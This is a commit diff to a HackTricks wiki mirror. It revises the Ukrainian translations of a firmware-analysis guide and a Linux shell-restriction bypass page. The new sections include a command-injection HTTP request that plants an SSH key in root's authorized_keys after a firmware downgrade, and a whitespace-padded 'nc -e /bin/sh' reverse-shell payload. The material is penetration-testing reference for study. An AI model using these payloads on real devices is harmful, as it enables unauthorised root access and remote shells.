mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
12084e0be6
commit
93b5c50a74
@ -1,10 +1,10 @@
|
||||
# Аналіз ПЗП
|
||||
# Аналіз ПЗ
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Вступ**
|
||||
|
||||
ПЗП є основним програмним забезпеченням, яке дозволяє пристроям працювати правильно, керуючи та полегшуючи зв'язок між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Воно зберігається в постійній пам'яті, що забезпечує доступ пристрою до важливих інструкцій з моменту його ввімкнення, що призводить до запуску операційної системи. Аналіз та потенційне модифікування ПЗП є критичним кроком у виявленні вразливостей безпеки.
|
||||
ПЗ є основним програмним забезпеченням, яке дозволяє пристроям працювати правильно, керуючи та полегшуючи зв'язок між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Воно зберігається в постійній пам'яті, що забезпечує доступ пристрою до важливих інструкцій з моменту його увімкнення, що призводить до запуску операційної системи. Аналіз та потенційне модифікування ПЗ є критичним кроком у виявленні вразливостей безпеки.
|
||||
|
||||
## **Збір інформації**
|
||||
|
||||
@ -15,31 +15,31 @@
|
||||
- Схему апаратного забезпечення та технічні характеристики
|
||||
- Метрики кодової бази та місця розташування виходу
|
||||
- Зовнішні бібліотеки та типи ліцензій
|
||||
- Історії оновлень та регуляторні сертифікації
|
||||
- Історії оновлень та регуляторні сертифікати
|
||||
- Архітектурні та потокові діаграми
|
||||
- Оцінки безпеки та виявлені вразливості
|
||||
|
||||
Для цієї мети **інструменти відкритих даних (OSINT)** є безцінними, як і аналіз будь-яких доступних компонентів відкритого програмного забезпечення через ручні та автоматизовані процеси перевірки. Інструменти, такі як [Coverity Scan](https://scan.coverity.com) та [Semmle’s LGTM](https://lgtm.com/#explore), пропонують безкоштовний статичний аналіз, який можна використовувати для виявлення потенційних проблем.
|
||||
|
||||
## **Отримання ПЗП**
|
||||
## **Отримання ПЗ**
|
||||
|
||||
Отримання ПЗП можна здійснити різними способами, кожен з яких має свій рівень складності:
|
||||
Отримання ПЗ можна здійснити різними способами, кожен з яких має свій рівень складності:
|
||||
|
||||
- **Безпосередньо** від джерела (розробників, виробників)
|
||||
- **Створення** його з наданих інструкцій
|
||||
- **Завантаження** з офіційних сайтів підтримки
|
||||
- Використання **Google dork** запитів для знаходження розміщених файлів ПЗП
|
||||
- Використання **Google dork** запитів для знаходження розміщених файлів ПЗ
|
||||
- Доступ до **хмарного сховища** безпосередньо, за допомогою інструментів, таких як [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Перехоплення **оновлень** за допомогою технік "людина посередині"
|
||||
- **Витягування** з пристрою через з'єднання, такі як **UART**, **JTAG** або **PICit**
|
||||
- **Сниффінг** запитів на оновлення в межах зв'язку пристрою
|
||||
- Виявлення та використання **жорстко закодованих кінцевих точок оновлення**
|
||||
- Виявлення та використання **жорстко закодованих кінцевих точок оновлень**
|
||||
- **Скидання** з завантажувача або мережі
|
||||
- **Видалення та читання** чіпа пам'яті, коли всі інші способи не спрацювали, використовуючи відповідні апаратні інструменти
|
||||
|
||||
## Аналіз ПЗП
|
||||
## Аналіз ПЗ
|
||||
|
||||
Тепер, коли ви **отримали ПЗП**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
|
||||
Тепер, коли ви **отримали ПЗ**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -50,7 +50,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
Якщо ви не знайдете багато з цими інструментами, перевірте **ентропію** зображення за допомогою `binwalk -E <bin>`, якщо ентропія низька, то, ймовірно, воно не зашифроване. Якщо ентропія висока, ймовірно, воно зашифроване (або стиснуте якимось чином).
|
||||
|
||||
Крім того, ви можете використовувати ці інструменти для витягнення **файлів, вбудованих у прошивку**:
|
||||
Більше того, ви можете використовувати ці інструменти для витягування **файлів, вбудованих у прошивку**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
@ -63,7 +63,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
З попередніми коментованими інструментами, такими як `binwalk -ev <bin>`, ви повинні були змогти **витягти файлову систему**.\
|
||||
Binwalk зазвичай витягує її в **папку, названу на честь типу файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Ручне витягнення файлової системи
|
||||
#### Ручне витягування файлової системи
|
||||
|
||||
Іноді binwalk **не має магічного байта файлової системи у своїх сигнатурах**. У цих випадках використовуйте binwalk, щоб **знайти зсув файлової системи та вирізати стиснуту файлову систему** з бінарного файлу та **вручну витягти** файлову систему відповідно до її типу, використовуючи наведені нижче кроки.
|
||||
```
|
||||
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія свідчить про можливе шифрування або стиснення.
|
||||
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія може свідчити про можливе шифрування або стиснення.
|
||||
|
||||
Для витягування **вбудованих файлів** рекомендуються інструменти та ресурси, такі як документація **file-data-carving-recovery-tools** та **binvis.io** для перевірки файлів.
|
||||
|
||||
### Витягування файлової системи
|
||||
|
||||
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягнути файлову систему, часто в каталог, названий на честь типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не може розпізнати тип файлової системи через відсутні магічні байти, необхідно виконати ручне витягування. Це передбачає використання `binwalk` для визначення зсуву файлової системи, після чого використовується команда `dd` для вирізання файлової системи:
|
||||
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягти файлову систему, часто в каталог, названий на честь типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не може розпізнати тип файлової системи через відсутні магічні байти, необхідно виконати ручне витягування. Це передбачає використання `binwalk` для визначення зсуву файлової системи, а потім команди `dd` для вирізання файлової системи:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -144,7 +144,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
Після витягування файлової системи починається пошук вразливостей безпеки. Увага приділяється небезпечним мережевим демонів, жорстко закодованим обліковим даним, API-інтерфейсам, функціональності серверів оновлень, некомпільованому коду, скриптам запуску та скомпільованим двійковим файлам для офлайн-аналізу.
|
||||
|
||||
**Ключові місця** та **елементи** для перевірки включають:
|
||||
**Ключові місця** та **елементи**, які потрібно перевірити, включають:
|
||||
|
||||
- **etc/shadow** та **etc/passwd** для облікових даних користувачів
|
||||
- SSL сертифікати та ключі в **etc/ssl**
|
||||
@ -160,15 +160,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
### Перевірки безпеки скомпільованих двійкових файлів
|
||||
|
||||
Як вихідний код, так і скомпільовані двійкові файли, знайдені у файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для двійкових файлів Unix та **PESecurity** для двійкових файлів Windows, допомагають виявити незахищені двійкові файли, які можуть бути використані в атаках.
|
||||
Як вихідний код, так і скомпільовані двійкові файли, знайдені у файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для Unix двійкових файлів та **PESecurity** для Windows двійкових файлів, допомагають виявити незахищені двійкові файли, які можуть бути використані в атаках.
|
||||
|
||||
## Емуляція прошивки для динамічного аналізу
|
||||
|
||||
Процес емулювання прошивки дозволяє **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
|
||||
Процес емулювання прошивки дозволяє виконувати **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
|
||||
|
||||
### Емуляція окремих двійкових файлів
|
||||
|
||||
Для перевірки окремих програм важливо визначити порядок байтів програми та архітектуру ЦП.
|
||||
Для аналізу окремих програм важливо визначити порядок байтів програми та архітектуру ЦП.
|
||||
|
||||
#### Приклад з архітектурою MIPS
|
||||
|
||||
@ -184,7 +184,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
#### Емуляція архітектури ARM
|
||||
|
||||
Для бінарних файлів ARM процес подібний, з використанням емулятора `qemu-arm`.
|
||||
Для ARM бінарних файлів процес подібний, з використанням емулятора `qemu-arm`.
|
||||
|
||||
### Емуляція повної системи
|
||||
|
||||
@ -192,7 +192,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
## Динамічний аналіз на практиці
|
||||
|
||||
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз повинен повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдора.
|
||||
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз має повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдорів.
|
||||
|
||||
## Техніки аналізу в реальному часі
|
||||
|
||||
@ -200,7 +200,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
## Експлуатація бінарних файлів та доказ концепції
|
||||
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного виконання в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного часу в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
|
||||
|
||||
## Підготовлені операційні системи для аналізу прошивки
|
||||
|
||||
@ -209,11 +209,54 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
## Підготовлені ОС для аналізу прошивки
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS - це дистрибутив, призначений для допомоги у проведенні оцінки безпеки та тестування на проникнення пристроїв Інтернету речей (IoT). Він економить ваш час, надаючи попередньо налаштоване середовище з усіма необхідними інструментами.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для тестування безпеки вбудованих систем на базі Ubuntu 18.04, попередньо завантажена інструментами для тестування безпеки прошивки.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для тестування безпеки вбудованих систем на базі Ubuntu 18.04, попередньо завантажена з інструментами для тестування безпеки прошивки.
|
||||
|
||||
## Вразлива прошивка для практики
|
||||
## Атаки на зниження версії прошивки та небезпечні механізми оновлення
|
||||
|
||||
Щоб практикувати виявлення вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
|
||||
Навіть коли постачальник реалізує перевірки криптографічного підпису для образів прошивки, **захист від зниження версії (downgrade) часто пропускається**. Коли завантажувач або відновлювальний завантажувач лише перевіряє підпис з вбудованим відкритим ключем, але не порівнює *версію* (або монотонний лічильник) образу, що записується, зловмисник може легітимно встановити **стару, вразливу прошивку, яка все ще має дійсний підпис** і таким чином повторно ввести виправлені вразливості.
|
||||
|
||||
Типовий робочий процес атаки:
|
||||
|
||||
1. **Отримати старий підписаний образ**
|
||||
* Завантажити його з публічного порталу завантаження постачальника, CDN або сайту підтримки.
|
||||
* Витягти його з супутніх мобільних/десктопних додатків (наприклад, всередині Android APK під `assets/firmware/`).
|
||||
* Отримати його з сторонніх репозиторіїв, таких як VirusTotal, архіви Інтернету, форуми тощо.
|
||||
2. **Завантажити або надати образ пристрою** через будь-який відкритий канал оновлення:
|
||||
* Веб-інтерфейс, API мобільного додатку, USB, TFTP, MQTT тощо.
|
||||
* Багато споживчих IoT-пристроїв відкривають *неаутентифіковані* HTTP(S) кінцеві точки, які приймають Base64-кодовані бінарні файли прошивки, декодують їх на сервері та запускають відновлення/оновлення.
|
||||
3. Після зниження версії експлуатувати вразливість, яка була виправлена в новішому випуску (наприклад, фільтр ін'єкції команд, який був доданий пізніше).
|
||||
4. За бажанням перепрошити останній образ або вимкнути оновлення, щоб уникнути виявлення після отримання стійкості.
|
||||
|
||||
### Приклад: Ін'єкція команд після зниження версії
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
У вразливому (зниженому) прошивці параметр `md5` безпосередньо конкатенується в команду оболонки без санітизації, що дозволяє ін'єкцію довільних команд (тут – увімкнення доступу до root через SSH з використанням ключа). Пізніші версії прошивки впровадили базовий фільтр символів, але відсутність захисту від зниження версії робить виправлення недійсним.
|
||||
|
||||
### Витягування прошивки з мобільних додатків
|
||||
|
||||
Багато постачальників об'єднують повні образи прошивки всередині своїх супутніх мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/Wi-Fi. Ці пакети зазвичай зберігаються нешифрованими в APK/APEX під шляхами, такими як `assets/fw/` або `res/raw/`. Інструменти, такі як `apktool`, `ghidra` або навіть простий `unzip`, дозволяють вам витягувати підписані образи, не торкаючись фізичного обладнання.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Checklist for Assessing Update Logic
|
||||
|
||||
* Чи адекватно захищений транспорт/автентифікація *endpoint оновлення* (TLS + автентифікація)?
|
||||
* Чи порівнює пристрій **номери версій** або **монотонний анти-ролбек лічильник** перед прошивкою?
|
||||
* Чи перевіряється образ у безпечному завантажувальному ланцюзі (наприклад, підписи перевіряються кодом ROM)?
|
||||
* Чи виконує код користувацького простору додаткові перевірки (наприклад, дозволена карта розділів, номер моделі)?
|
||||
* Чи *часткові* або *резервні* потоки оновлення повторно використовують ту ж логіку валідації?
|
||||
|
||||
> 💡 Якщо щось із вищезазначеного відсутнє, платформа, ймовірно, вразлива до атак ролбеку.
|
||||
|
||||
## Vulnerable firmware to practice
|
||||
|
||||
Щоб практикуватися у виявленні вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
@ -228,12 +271,13 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Тренінг та сертифікація
|
||||
## Trainning and Cert
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Загальні обходи обмежень
|
||||
## Обходи загальних обмежень
|
||||
|
||||
### Реверсна оболонка
|
||||
```bash
|
||||
@ -144,7 +144,7 @@ echo ${PATH:0:1} #/
|
||||
|
||||
### Builtins
|
||||
|
||||
У разі, якщо ви не можете виконувати зовнішні функції і маєте доступ лише до **обмеженого набору вбудованих команд для отримання RCE**, є кілька корисних трюків, щоб це зробити. Зазвичай ви **не зможете використовувати всі** **вбудовані команди**, тому вам слід **знати всі свої варіанти**, щоб спробувати обійти в'язницю. Ідея з [**devploit**](https://twitter.com/devploit).\
|
||||
У випадку, якщо ви не можете виконувати зовнішні функції і маєте доступ лише до **обмеженого набору вбудованих команд для отримання RCE**, є кілька корисних трюків, щоб це зробити. Зазвичай ви **не зможете використовувати всі** **вбудовані команди**, тому вам слід **знати всі свої варіанти**, щоб спробувати обійти в'язницю. Ідея з [**devploit**](https://twitter.com/devploit).\
|
||||
По-перше, перевірте всі [**вбудовані команди оболонки**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Потім тут у вас є кілька **рекомендацій**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -294,20 +294,40 @@ ln /f*
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Обхід Read-Only/Noexec/Distroless
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Якщо ви знаходитесь у файловій системі з **захистами read-only та noexec** або навіть у контейнері без дистрибутива, все ще існують способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
Якщо ви знаходитесь у файловій системі з **захистами тільки для читання та noexec** або навіть у контейнері без дистрибутива, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Обхід Chroot та інших в'язниць
|
||||
## Chroot & other Jails Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Коли вразливість дозволяє вам частково контролювати аргумент, який врешті-решт досягає `system()` або іншої оболонки, ви можете не знати точний зсув, з якого починається виконання вашого корисного навантаження. Традиційні NOP сани (наприклад, `\x90`) **не** працюють у синтаксисі оболонки, але Bash безпечно ігнорує провідні пробіли перед виконанням команди.
|
||||
|
||||
Отже, ви можете створити *NOP сани для Bash*, додавши до вашої реальної команди довгу послідовність пробілів або символів табуляції:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Якщо ланцюг ROP (або будь-який примітив пошкодження пам'яті) приземляє вказівник інструкцій будь-де в межах блоку простору, парсер Bash просто пропускає пробіли, поки не досягне `nc`, надійно виконуючи вашу команду.
|
||||
|
||||
Практичні випадки використання:
|
||||
|
||||
1. **Конфігураційні блоби, що відображаються в пам'яті** (наприклад, NVRAM), які доступні між процесами.
|
||||
2. Ситуації, коли атакуючий не може записати байти NULL для вирівнювання корисного навантаження.
|
||||
3. Вбудовані пристрої, де доступний лише BusyBox `ash`/`sh` – вони також ігнорують провідні пробіли.
|
||||
|
||||
> 🛠️ Поєднайте цей трюк з ROP гаджетами, які викликають `system()`, щоб значно підвищити надійність експлуатації на маршрутизаторах IoT з обмеженою пам'яттю.
|
||||
|
||||
## Посилання та більше
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
@ -315,4 +335,6 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user